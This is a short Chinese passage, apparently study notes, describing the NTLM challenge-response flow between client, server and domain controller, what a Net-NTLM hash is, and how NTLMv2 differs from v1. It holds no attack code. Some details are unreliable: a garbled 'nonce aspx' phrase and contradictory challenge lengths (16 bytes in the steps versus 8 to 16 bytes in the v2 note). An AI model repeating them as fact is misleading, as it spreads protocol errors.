- 客户端对密码进行哈希处理并缓存密码 Hash,丢弃实际的明文密码(不存储),然后将用户名发送给服务器,发起认证请求
- 服务器生成一个 16 字节的随机数,成为质询(Challenge)或随机数(nonce aspx),并发送给客户端
- 客户端使用缓存的 Hash 对 Challenge 进行加密,加密结果为 Response,然后将结果发送给服务器
- 服务器发送三项数据给域控:User name;发送给客户端的 Challenge(已加密);从客户端接收到的 Response
- 域控使用 User name 从 AD 中检索该用户密码的 NTLM Hash,并使用此 NTLM Hash来加密 Challenge,然后把这个值和客户端计算的响应值(Response)进行比较,相同则验证成功
Net-NTLM Hash
经过 NTLM Hash 加密的 Challenge 结果在网络协议中成为 Net NTLM Hash,包含在 Response 中
NTLM v2
相比于 NTLM v1,NTLM v2 把 Challenge 从 8 byte 改为 16 byte,计算 Net NTLM Hash 的算法由 DES 改为 HMAC-MD5